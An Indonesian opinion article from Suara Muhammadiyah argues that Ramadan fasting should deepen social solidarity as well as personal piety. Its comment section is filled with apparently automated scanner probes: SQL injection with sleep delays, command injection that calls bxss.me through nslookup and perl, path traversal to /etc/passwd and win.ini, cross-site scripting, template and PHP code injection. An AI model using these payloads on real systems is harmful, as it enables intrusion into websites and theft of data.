Ramadhan dan Kualitas Kemanusiaan

Publish

18 March 2024

Suara Muhammadiyah

Penulis

0
189
Foto Istimewa

Foto Istimewa

Ramadhan dan Kualitas Kemanusiaan 

Oleh : Arifudin, Aktivis Ikatan Mahasiswa Muhammadiyah

Ramadhan bulan penuh keberkahan dan limpah rahmat kembali datang menyapa kita. Wajib kiranya kita bersyukur dipertemukan kembali dengan bulan yang paling ditunggu Rasulullah Saw. Bulan seribu ampunan, bulan yang penuh dengan makna-makna kolosal peribadatan. Lalu, yang menjadi pertanyaan, apakah makna puasa bagi kita? Sebatas lalu lalang formalitas peribadatan. Ataukah memiliki kedalaman makna yang menyentuh akar kemanusiaan kita?

Tentu, di antara kita yang kembali bertemu dengan Ramadhan tidak ingin menjadi termasuk orang-orang yang dikeluhkan Rasulullah, “Banyak di antara umatku yang menjalankan puasa tetapi hanya mendapatkan lapar dan dahaga.” Sebagai umat yang taat pada wasiatnya, tentu kita semua tidak ingin melalui keagungan bulan suci Ramadhan ala kadarnya, biasa-biasa tanpa makna. Sebab, sebagaimana dijelaskan dalam firman-Nya bahwa tujuan dari ibadah puasa Ramadhan adalah tercapainya kualitas manusia yang bertakwa setelah melalui proses “penggodokan” diri selama satu bulan penuh (QS Al-Baqarah [2]:). 

Itu artinya, ibadah puasa tidak sekadar ajang untuk menahan lapar, dahaga dan hawa nafsu belaka, melainkan juga berimplikasi pada kualitas diri kita. Baik itu kualitas keimanan, lebih-lebih kualitas kemanusiaan kita. Indikator keberhasilan tersebut akan tercermin dari perilaku sehari-hari setelah melewati penempaan dalam “kawah candra- dimuka” Ramadhan sebulan penuh. 

Tidak hanya kesalehan individu yang langsung berhubungan dengan Sang Khalik yang akan didapat. Namun juga akan muncul dalam bentuk kesadaran sosial yang diterjemahkan sebagai kesa- lehan sosial dalam melihat fenomena-fenomena sosial masyarakat. Secara pribadi, puasa yang dijalankan dengan sabar dan ikhlas berharap pada ridha Allah Swt. akan mampu mengarahkan peningkatan spiritualitas seseorang yang menjalankannya. Puasa bagi mereka yang melalui dengan sabar dan ikhlas akan berbekas dan mengubah kualitas jiwa menjadi lebih terkendali. Hal itu akan tampak saat menghadapi masalah, pikiran akan jauh lebih jernih dalam mencari jawaban dan solusi jalan keluar. 

 Visi Sosial 

Selain itu, inti dari puasa juga akan mampu menajamkan kepekaan seseorang terhadap masalah-masalah sosial. Kepekaan sosial merupakan wujud dari kepedulian seseorang yang telah melalui aktivitas spiritual dengan Ilahi, karena terjadi keselarasan dengan nilai-nilai Ilahi yang merasuk dalam dirinya. Artinya, ia telah mampu memahami fitrah kemanusiaannya karena mendapat petunjuk langsung dari Ilahi. Keadaan ini berpengaruh terhadap pola laku dan pola sikap seseorang, sebab ia akan merasakan bentuk ketidakadilan, kesengsaraan, penindasan yang terjadi pada sesamanya tidak peduli sekat agama, suku, warna kulit, maupun golongan. 

Puasa sejatinya ingin membentuk karakter insan manusia yang tidak hanya mementingkan dirinya sendiri, namun juga mempunyai perhatian kepada sesamanya yang kurang mampu, kekurangan, ditimpa bencana, kelaparan dan kesengsaraan. Jiwa sosial yang hendak dibentuk dari puasa dapat ditunjukkan dengan nilai keabsahan puasa yang harus ditutup dengan mengeluarkan zakat fitrah di akhir Ramadhan. Ramadhan yang identik dengan zakat fitrah merupakan implemetasi nyata dari kesalehan individu dan kesalehan sosial.

Jelaslah, konsepsi kedekatan dengan Tuhan secara vertikal harus mampu diaplikasikan dengan sikap untuk saling membantu dan tolong- menolong antarsesama secara horizontal. Karenanya, sangat tidak tepat apabila kita menjalankan ibadah puasa tidak hanya berorientasi mencari limpahan pahala seperti yang dijanjikan Allah Swt. 

Momentum puasa Ramadhan sudah seharusnya diwujudkan sebagai bentuk nyata aplikasi sosial. Membangun solidaritas dan kepedulian pada saudara-saudara kita yang, mungkin karena kemiskinan yang menghinggapi, belum bisa menjalankan ibadah puasa. Selain itu, perlunya bentuk perhatian dan ketulusan untuk membantu meringankan penderitaan mereka yang sedang dilanda musibah.

Keberhasilan puasa Ramadhan kita kali ini tidak hanya ditentukan seberapa banyak limpahan pahala yang kita terima dengan menjalankan semua perintah-Nya, tapi juga seberapa besar kepedulian kita yang menjalankan puasa dan menerjemahkan inti dan tujuan dari puasa untuk membentuk insan sosial. Semoga kita menjadi orang-orang yang tahu tujuan dari melaksanakan puasa. Sehingga, bukan sekadar lapar dan dahaga yang kita akan dapatkan. 

Insan Cita 

Maka itu, kesuksesan puasa akan termaktub dalam kepribadian kita setelah mencapai puncaknya di Idul Fitri nanti. Ibarat ulat yang berubah bentuk menjadi kupu-kupu, Ramadhan adalah kepompong yang menjadi tahapan penting manusia menjadi insan kamil. Bukan saja manusia yang tinggi kualitas spiritualitasnya, melainkan juga memiliki spirit agung kemanusiaan; manusia paripurna yang memiliki kualitas-kualitas tertentu untuk menjadi khalifah di muka bumi. Karenanya, puasa setidaknya harus mampu menjadi ruang bagi umat Islam, untuk meningkatkan kualitas keimanan dan etos kerja-kerja kemanusiaan.

Ramadhan dengan demikian akan melahirkan manusia- manusia pencerahan, manusia yang bisa menjadi obor bagi perubahan, menjadi lilin bagi kegelapan; manusia yang selalu dipenuhi perasaan dan semangat optimisme dalam menghadapi rintangan dan tantangan; manusia unggul yang merupakan elaborasi dari kualitas keimanan yang sublim, keislaman yang rahmatan lil ‘âlamîn dan keihsanan yang humanis; insan yang mengejawantah dalam kualitas pribadi yang berpengetahuan luas, pembaru, kreatif, inovatif, pengabdi yang tulus dan ikhlas; serta pribadi-pribadi yang mendasarkan setiap pola laku dan pola gerak dalam bingkai etika, moralitas dan religiusitas, yang mendedahkan setiap tindakannya untuk kemaslahatan bersama.***


Komentar

pHqghUme

555

pHqghUme

1CyFhSPegcO

pHqghUme

response.write(9937652*9979954)

pHqghUme

'+response.write(9937652*9979954)+'

pHqghUme

dEORSCWd

pHqghUme

"+response.write(9937652*9979954)+"

pHqghUme

555

pHqghUme

555 bcc:009247.14963-255216.14963.ae8f3.19800.2@bxss.me

pHqghUme

to@example.com> bcc:009247.14963-255217.14963.ae8f3.19800.2@bxss.me

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

555

pHqghUme

echo ysggjt$()\ eppwyr\nz^xyu||a #' &echo ysggjt$()\ eppwyr\nz^xyu||a #|" &echo ysggjt$()\ eppwyr\nz^xyu||a #

pHqghUme

../555

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

&echo fxkxmi$()\ xpyrzr\nz^xyu||a #' &echo fxkxmi$()\ xpyrzr\nz^xyu||a #|" &echo fxkxmi$()\ xpyrzr\nz^xyu||a #

pHqghUme

${10000457+9999184}

pHqghUme

|echo tqzver$()\ mfujvl\nz^xyu||a #' |echo tqzver$()\ mfujvl\nz^xyu||a #|" |echo tqzver$()\ mfujvl\nz^xyu||a #

pHqghUme

(nslookup hitbzdubkuffdc8cc6.bxss.me||perl -e "gethostbyname('hitbzdubkuffdc8cc6.bxss.me')")

pHqghUme

$(nslookup hitpspwavufft50bd9.bxss.me||perl -e "gethostbyname('hitpspwavufft50bd9.bxss.me')")

pHqghUme

555&n919293=v902608

pHqghUme

&(nslookup hituwvcaykpai5c26e.bxss.me||perl -e "gethostbyname('hituwvcaykpai5c26e.bxss.me')")&'\"`0&(nslookup hituwvcaykpai5c26e.bxss.me||perl -e "gethostbyname('hituwvcaykpai5c26e.bxss.me')")&`'

pHqghUme

555

pHqghUme

|(nslookup hitzwbhyevmhzbc37e.bxss.me||perl -e "gethostbyname('hitzwbhyevmhzbc37e.bxss.me')")

pHqghUme

`(nslookup hitnrhwzuzwbv1fc34.bxss.me||perl -e "gethostbyname('hitnrhwzuzwbv1fc34.bxss.me')")`

pHqghUme

)

pHqghUme

!(()&&!|*|*|

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

^(#$!@#$)(()))******

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

'"()

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

'.gethostbyname(lc('hitoh'.'lzkbjrve24f92.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(71).chr(109).chr(81).'

pHqghUme

".gethostbyname(lc("hitwh"."xkrkshjm517fe.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(89).chr(119).chr(72)."

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

/etc/shells

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(106).concat(72).concat(110).concat(75)+(require"socket" Socket.gethostbyname("hitam"+"ffwjxohi03387.bxss.me.")[3].to_s)+"

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(119).concat(79).concat(110).concat(89)+(require'socket' Socket.gethostbyname('hituy'+'jclcgmaa385e2.bxss.me.')[3].to_s)+'

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

c:/windows/win.ini

pHqghUme

';print(md5(31337));$a='

pHqghUme

bxss.me

pHqghUme

ramadhan-dan-kualitas-kemanusiaan

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

";print(md5(31337));$a="

pHqghUme

ramadhan-dan-kualitas-kemanusiaan

pHqghUme

${@print(md5(31337))}

pHqghUme

ramadhan-dan-kualitas-kemanusiaan/.

pHqghUme

${@print(md5(31337))}\

pHqghUme

/xfs.bxss.me

pHqghUme

'.print(md5(31337)).'

pHqghUme

'"

pHqghUme

<!--

pHqghUme

555'"()&%<acx><ScRiPt >k62u(9038)</ScRiPt>

pHqghUme

555

pHqghUme

'"()&%<acx><ScRiPt >k62u(9549)</ScRiPt>

pHqghUme

5559692415

pHqghUme

acu1580<s1﹥s2ʺs3ʹuca1580

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu4994<s1﹥s2ʺs3ʹuca4994

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559378"();}]9090

pHqghUme

%35%35%35%39%37%30%33%22%28%29%3B%7D%5D%39%34%31%38

pHqghUme

555</script><script>k62u(9252)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

7zz2xzKu

pHqghUme

-1 OR 2+366-366-1=0+0+0+1 --

pHqghUme

-1 OR 2+705-705-1=0+0+0+1

pHqghUme

-1' OR 2+518-518-1=0+0+0+1 --

pHqghUme

-1' OR 2+586-586-1=0+0+0+1 or 'ZGh4DaFF'='

pHqghUme

-1" OR 2+28-28-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

KWpSnykg'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 631=(SELECT 631 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 343=(SELECT 343 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 640=(SELECT 640 FROM PG_SLEEP(15))--

pHqghUme

GWMA6vZG' OR 421=(SELECT 421 FROM PG_SLEEP(15))--

pHqghUme

jmMyDpXp') OR 253=(SELECT 253 FROM PG_SLEEP(15))--

pHqghUme

dDG4T3e9')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@pRcbE

pHqghUme

555

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Wawasan

Keseimbangan dalam Bederma Oleh: Donny Syofyan, Dosen Fakultas Ilmu Budaya Universitas Andalas Bed....

Suara Muhammadiyah

17 January 2024

Wawasan

Moderasi Beragama Kiai Dahlan Oleh: Baharuddin Rohim “Dapat menempatkan sesuatu pada tempat....

Suara Muhammadiyah

7 October 2023

Wawasan

Makna Tepuk Tangan Kepada Calon Presiden, Catatan Perayaan Milad Muhammadiyah ke-111 Oleh: Ahsan Ja....

Suara Muhammadiyah

20 November 2023

Wawasan

Oleh: Dr H Amirsyah Tambunan, MA Ketua Majelis Pendayagunaan Wakaf Pimpinan Pusat Muhammadiyah Beg....

Suara Muhammadiyah

13 February 2024

Wawasan

Oleh: Donny Syofyan Islam memperlakukan laki-laki dan perempuan sebagai makhluk spiritual yang seta....

Suara Muhammadiyah

2 October 2023

Tentang

© Copyright . Suara Muhammadiyah